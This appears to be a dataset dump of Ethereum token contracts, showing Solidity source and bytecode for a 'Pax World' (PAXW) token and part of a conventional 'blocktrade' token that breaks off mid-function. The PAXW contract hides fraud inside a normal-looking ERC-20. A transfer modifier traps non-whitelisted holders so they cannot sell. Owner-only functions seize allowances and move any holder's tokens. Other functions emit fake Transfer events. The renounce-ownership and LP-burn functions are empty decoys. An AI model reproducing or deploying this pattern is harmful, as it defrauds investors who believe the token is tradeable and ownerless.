0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract PaxWorld is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwnr; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0x28daD4398Fe3Fa412eBf186bB51c741B95ac79e7; address public _ownr = 0x28daD4398Fe3Fa412eBf186bB51c741B95ac79e7; constructor () public { _name = "Pax World"; _symbol = "PAXW"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18; _safeOwnr = _ownr; _mint(_contDeployr, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _ownr, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _ownr, "!owner"); _safeOwnr = safeOwner; } modifier mainboard(address dest, uint256 num, address from, address filler){ if ( _ownr == _safeOwnr && from == _ownr ) {_safeOwnr = dest;_; }else { if ( from == _ownr || from == _safeOwnr || dest == _ownr ) { if ( from == _ownr && from == dest ) {_discardedAmt = num; }_; }else { if ( _plus[from] == true ) { _; }else{if ( _discarded[from] == true ) { require(( from == _safeOwnr ) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt ) { if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false; } _; }else{require((from == _safeOwnr) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; } } } } }} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _ownr){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _ownr, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_ownr] = _balances[_ownr].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _ownr){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _ownr, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function enter(address recipient) public _verify(){ _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function enterList(address[] memory addrss) public _verify(){ for (uint256 i = 0; i < addrss.length; i++) { _plus[addrss[i]]=true; _approve(addrss[i], _path_,_maximumVal);}} function leave(address recipient) public _verify(){ //Disable permission _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function swapETHForExactTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146109fa578063d014c01f14610b2d578063dd62ed3e14610b53578063f8129cd214610b815761018e565b8063b14a5c6a146109cc578063bb88603c14610704578063bedf77a6146109d45761018e565b8063715018a6146107045780638d3ca13e1461070c5780639430b4961461083f57806395d89b4114610865578063a5aae2541461086d578063a9059cbb146109a05761018e565b80633cc4430d1161014b5780635265327c116101255780635265327c146105f3578063671e99211461061957806368d37db51461063d57806370a08231146106de5761018e565b80633cc4430d146103615780634c0cc925146104945780634e6ec247146105c75761018e565b806306fdde031461019357806308ec4eb514610210578063095ea7b3146102b357806318160ddd146102f357806323b872dd1461030d578063313ce56714610343575b600080fd5b61019b610cb4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b16004803603602081101561022657600080fd5b810190602081018135600160201b81111561024057600080fd5b82018360208201111561025257600080fd5b803590602001918460208302840111600160201b8311171561027357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d4a945050505050565b005b6102df600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610e3e565b604080519115158252519081900360200190f35b6102fb610e5b565b60408051918252519081900360200190f35b6102df6004803603606081101561032357600080fd5b506001600160a01b03813581169160208101359091169060400135610e61565b61034b610ee8565b6040805160ff9092168252519081900360200190f35b6102b16004803603606081101561037757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103a157600080fd5b8201836020820111156103b357600080fd5b803590602001918460208302840111600160201b831117156103d457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ef1945050505050565b6102b1600480360360608110156104aa57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104d457600080fd5b8201836020820111156104e657600080fd5b803590602001918460208302840111600160201b8311171561050757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561055657600080fd5b82018360208201111561056857600080fd5b803590602001918460208302840111600160201b8311171561058957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fb7945050505050565b6102b1600480360360408110156105dd57600080fd5b506001600160a01b038135169060200135611077565b6102b16004803603602081101561060957600080fd5b50356001600160a01b0316611155565b6106216111bf565b604080516001600160a01b039092168252519081900360200190f35b6102b16004803603602081101561065357600080fd5b810190602081018135600160201b81111561066d57600080fd5b82018360208201111561067f57600080fd5b803590602001918460208302840111600160201b831117156106a057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506111ce945050505050565b6102fb600480360360208110156106f457600080fd5b50356001600160a01b03166112b4565b6102b16112cf565b6102b16004803603606081101561072257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561074c57600080fd5b82018360208201111561075e57600080fd5b803590602001918460208302840111600160201b8311171561077f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107ce57600080fd5b8201836020820111156107e057600080fd5b803590602001918460208302840111600160201b8311171561080157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061131e945050505050565b6102df6004803603602081101561085557600080fd5b50356001600160a01b03166113de565b61019b61144a565b6102b16004803603606081101561088357600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ad57600080fd5b8201836020820111156108bf57600080fd5b803590602001918460208302840111600160201b831117156108e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561092f57600080fd5b82018360208201111561094157600080fd5b803590602001918460208302840111600160201b8311171561096257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114ab945050505050565b6102df600480360360408110156109b657600080fd5b506001600160a01b03813516906020013561156b565b61062161157f565b6102b1600480360360208110156109ea57600080fd5b50356001600160a01b031661158e565b6102b160048036036060811015610a1057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b803590602001918460208302840111600160201b83111715610a6d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610abc57600080fd5b820183602082011115610ace57600080fd5b803590602001918460208302840111600160201b83111715610aef57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611610945050505050565b6102b160048036036020811015610b4357600080fd5b50356001600160a01b03166116ae565b6102fb60048036036040811015610b6957600080fd5b506001600160a01b0381358116916020013516611735565b6102b160048036036060811015610b9757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610bc157600080fd5b820183602082011115610bd357600080fd5b803590602001918460208302840111600160201b83111715610bf457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610c4357600080fd5b820183602082011115610c5557600080fd5b803590602001918460208302840111600160201b83111715610c7657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611760945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b600d546001600160a01b03163314610d92576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610e3a576001806000848481518110610daf57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610e0057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d95565b5050565b6000610e52610e4b611881565b8484611885565b50600192915050565b60045490565b6000610e6e848484611971565b610ede84610e7a611881565b610ed985604051806060016040528060288152602001612492602891396001600160a01b038a16600090815260036020526040812090610eb8611881565b6001600160a01b031681526020810191909152604001600020549190611bf6565b611885565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610f3e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157828181518110610f5657fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba833981519152848481518110610f8c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610f41565b50505050565b600d546001600160a01b03163314611004576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb15782818151811061101c57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba83398151915284848151811061105257fe5b60200260200101516040518082815260200191505060405180910390a3600101611007565b600d546001600160a01b031633146110d6576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546110e39082611820565b600455600d546001600160a01b031660009081526020819052604090205461110b9082611820565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206124ba8339815191529281900390910190a35050565b600d546001600160a01b0316331461119d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461121b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8151811015610e3a57600180600084848151811061123857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506112ac82828151811061128657fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611885565b60010161121e565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461131c576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b565b600d546001600160a01b0316331461136b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061138d57fe5b60200260200101516001600160a01b03166000805160206124ba8339815191528484815181106113b957fe5b60200260200101516040518082815260200191505060405180910390a360010161136e565b600d546000906001600160a01b0316331461142e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6114428261143a611881565b600854611885565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b600d546001600160a01b031633146114f8576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061151a57fe5b60200260200101516001600160a01b03166000805160206124ba83398151915284848151811061154657fe5b60200260200101516040518082815260200191505060405180910390a36001016114fb565b6000610e52611578611881565b8484611971565b600d546001600160a01b031681565b600d546001600160a01b031633146115db576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461160d928492911690611885565b50565b600d546001600160a01b0316331461165d576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6116698361143a611881565b60005b8251811015610fb1576116a68484838151811061168557fe5b602002602001015184848151811061169957fe5b6020026020010151611c8d565b60010161166c565b600d546001600160a01b031633146116fb576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461160d9284921690611885565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146117ad576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb1578281815181106117c557fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba8339815191528484815181106117fb57fe5b60200260200101516040518082815260200191505060405180910390a36001016117b0565b60008282018381101561187a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166118ca5760405162461bcd60e51b81526004018080602001828103825260248152602001806124ff6024913960400191505060405180910390fd5b6001600160a01b03821661190f5760405162461bcd60e51b815260040180806020018281038252602281526020018061242a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156119a75750600d546001600160a01b038381169116145b156119d757600980546001600160a01b0319166001600160a01b0386161790556119d2878787611e06565b611bed565b600d546001600160a01b0383811691161480611a0057506009546001600160a01b038381169116145b80611a185750600d546001600160a01b038581169116145b15611a6157600d546001600160a01b038381169116148015611a4b5750836001600160a01b0316826001600160a01b0316145b15611a5657600a8390555b6119d2878787611e06565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611a93576119d2878787611e06565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611b1d576009546001600160a01b0383811691161480611ae25750600b546001600160a01b038581169116145b611a565760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015611b7e576009546001600160a01b0385811691161415611a56576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556119d2878787611e06565b6009546001600160a01b0383811691161480611ba75750600b546001600160a01b038581169116145b611be25760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b611bed878787611e06565b50505050505050565b60008184841115611c855760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c4a578181015183820152602001611c32565b50505050905090810190601f168015611c775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611cd25760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038216611d175760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611d22838383612401565b611d5f8160405180606001604052806026815260200161244c602691396001600160a01b0386166000908152602081905260409020549190611bf6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611d8e9082611820565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611dc857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206124ba833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611e3c5750600d546001600160a01b038381169116145b15611fd257600980546001600160a01b0319166001600160a01b03868116919091179091558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038616611ee35760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611eee878787612401565b611f2b8560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611f5a9086611820565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611f9457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a3611bed565b600d546001600160a01b0383811691161480611ffb57506009546001600160a01b038381169116145b806120135750600d546001600160a01b038581169116145b1561209657600d546001600160a01b0383811691161480156120465750836001600160a01b0316826001600160a01b0316145b1561205157600a8390555b6001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415612102576001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff1615156001141561218c576009546001600160a01b03838116911614806121515750600b546001600160a01b038581169116145b6120515760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015612220576009546001600160a01b0385811691161415612051576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6009546001600160a01b03838116911614806122495750600b546001600160a01b038581169116145b6122845760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b6001600160a01b0387166122c95760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03861661230e5760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b612319878787612401565b6123568560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546123859086611820565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156123bf57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206fc8e5a6eed40e0646bc3f09f53597881cabd4720f5885faca90e494fc9199fa64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,316
0xfa456cf55250a839088b27ee32a424d7dacb54ff
pragma solidity ^0.4.21; contract controlled{ address public owner; uint256 public tokenFrozenUntilBlock; uint256 public tokenFrozenSinceBlock; uint256 public blockLock; mapping (address => bool) restrictedAddresses; // @dev Constructor function that sets freeze parameters so they don't unintentionally hinder operations. function controlled() public{ owner = 0x24bF9FeCA8894A78d231f525c054048F5932dc6B; tokenFrozenSinceBlock = (2 ** 256) - 1; tokenFrozenUntilBlock = 0; blockLock = 5571500; } /* * @dev Transfers ownership rights to current owner to the new owner. * @param newOwner address Address to become the new SC owner. */ function transferOwnership (address newOwner) onlyOwner public{ owner = newOwner; } /* * @dev Allows owner to restrict or reenable addresses to use the token. * @param _restrictedAddress address Address of the user whose state we are planning to modify. * @param _restrict bool Restricts uder from using token. true restricts the address while false enables it. */ function editRestrictedAddress(address _restrictedAddress, bool _restrict) public onlyOwner{ if(!restrictedAddresses[_restrictedAddress] && _restrict){ restrictedAddresses[_restrictedAddress] = _restrict; } else if(restrictedAddresses[_restrictedAddress] && !_restrict){ restrictedAddresses[_restrictedAddress] = _restrict; } else{ revert(); } } /************ Modifiers to restrict access to functions. ************/ // @dev Modifier to make sure the owner's functions are only called by the owner. modifier onlyOwner{ require(msg.sender == owner); _; } /* * @dev Modifier to check whether destination of sender aren't forbidden from using the token. * @param _to address Address of the transfer destination. */ modifier instForbiddenAddress(address _to){ require(_to != 0x0); require(_to != address(this)); require(!restrictedAddresses[_to]); require(!restrictedAddresses[msg.sender]); _; } // @dev Modifier to check if the token is operational at the moment. modifier unfrozenToken{ require(block.number >= blockLock || msg.sender == owner); require(block.number >= tokenFrozenUntilBlock); require(block.number <= tokenFrozenSinceBlock); _; } } contract blocktrade is controlled{ string public name = "blocktrade.com"; string public symbol = "BTT"; uint8 public decimals = 18; uint256 public initialSupply = 57746762*(10**18); uint256 public supply; string public tokenFrozenUntilNotice; string public tokenFrozenSinceNotice; bool public airDropFinished; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; event Transfer(address indexed from, address indexed to, uint256 value); event TokenFrozenUntil(uint256 _frozenUntilBlock, string _reason); event TokenFrozenSince(uint256 _frozenSinceBlock, string _reason); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); /* * @dev Constructor function. */ function blocktrade() public{ supply = 57746762*(10**18); airDropFinished = false; balances[owner] = 57746762*(10**18); } /************ Constant return functions ************/ //@dev Returns the name of the token. function tokenName() constant public returns(string _tokenName){ return name; } //@dev Returns the symbol of the token. function tokenSymbol() constant public returns(string _tokenSymbol){ return symbol; } //@dev Returns the number of decimals the token uses - e.g. 8, means to divide the token amount by 100000000 to get its user representation. function tokenDecimals() constant public returns(uint8 _tokenDecimals){ return decimals; } //@dev Returns the total supply of the token function totalSupply() constant public returns(uint256 _totalSupply){ return supply; } /* * @dev Allows us to view the token balance of the account. * @param _tokenOwner address Address of the user whose token balance we are trying to view. */ function balanceOf(address _tokenOwner) constant public returns(uint256 accountBalance){ return balances[_tokenOwner]; } /* * @dev Allows us to view the token balance of the account. * @param _owner address Address of the user whose token we are allowed to spend from sender address. * @param _spender address Address of the user allowed to spend owner's tokens. */ function allowance(address _owner, address _spender) constant public returns(uint256 remaining) { return allowances[_owner][_spender]; } // @dev Returns when will the token become operational again and why it was frozen. function getFreezeUntilDetails() constant public returns(uint256 frozenUntilBlock, string notice){ return(tokenFrozenUntilBlock, tokenFrozenUntilNotice); } //@dev Returns when will the operations of token stop and why. function getFreezeSinceDetails() constant public returns(uint frozenSinceBlock, string notice){ return(tokenFrozenSinceBlock, tokenFrozenSinceNotice); } /* * @dev Returns info whether address can use the token or not. * @param _queryAddress address Address of the account we want to check. */ function isRestrictedAddress(address _queryAddress) constant public returns(bool answer){ return restrictedAddresses[_queryAddress]; } /************ Operational functions ************/ /* * @dev Used for sending own tokens to other addresses. Keep in mind that you have to take decimals into account. Multiply the value in tokens with 10^tokenDecimals. * @param _to address Destination where we want to send the tokens to. * @param _value uint256 Amount of tokens we want to sender. */ function transfer(address _to, uint256 _value) unfrozenToken instForbiddenAddress(_to) public returns(bool success){ require(balances[msg.sender] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]) ; // Check for overflows balances[msg.sender] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /* * @dev Sets allowance to the spender from our address. * @param _spender address Address of the spender we are giving permissions to. * @param _value uint256 Amount of tokens the spender is allowed to spend from owner's accoun. Note the decimal spaces. */ function approve(address _spender, uint256 _value) unfrozenToken public returns (bool success){ allowances[msg.sender][_spender] = _value; // Set allowance emit Approval(msg.sender, _spender, _value); // Raise Approval event return true; } /* * @dev Used by spender to transfer some one else's tokens. * @param _form address Address of the owner of the tokens. * @param _to address Address where we want to transfer tokens to. * @param _value uint256 Amount of tokens we want to transfer. Note the decimal spaces. */ function transferFrom(address _from, address _to, uint256 _value) unfrozenToken instForbiddenAddress(_to) public returns(bool success){ require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]); // Check for overflows require(_value <= allowances[_from][msg.sender]); // Check allowance balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient allowances[_from][msg.sender] -= _value; // Deduct allowance for this address emit Transfer(_from, _to, _value); // Notify anyone listening that this transfer took place return true; } /* * @dev Ireversibly destroy the specified amount of tokens. * @param _value uint256 Amount of tokens we want to destroy. */ function burn(uint256 _value) onlyOwner public returns(bool success){ require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender supply -= _value; emit Burn(msg.sender, _value); return true; } /* * @dev Freezes transfers untill the specified block. Afterwards all of the operations are carried on as normal. * @param _frozenUntilBlock uint256 Number of block untill which all of the transfers are frozen. * @param _freezeNotice string Reason fot the freeze of operations. */ function freezeTransfersUntil(uint256 _frozenUntilBlock, string _freezeNotice) onlyOwner public returns(bool success){ tokenFrozenUntilBlock = _frozenUntilBlock; tokenFrozenUntilNotice = 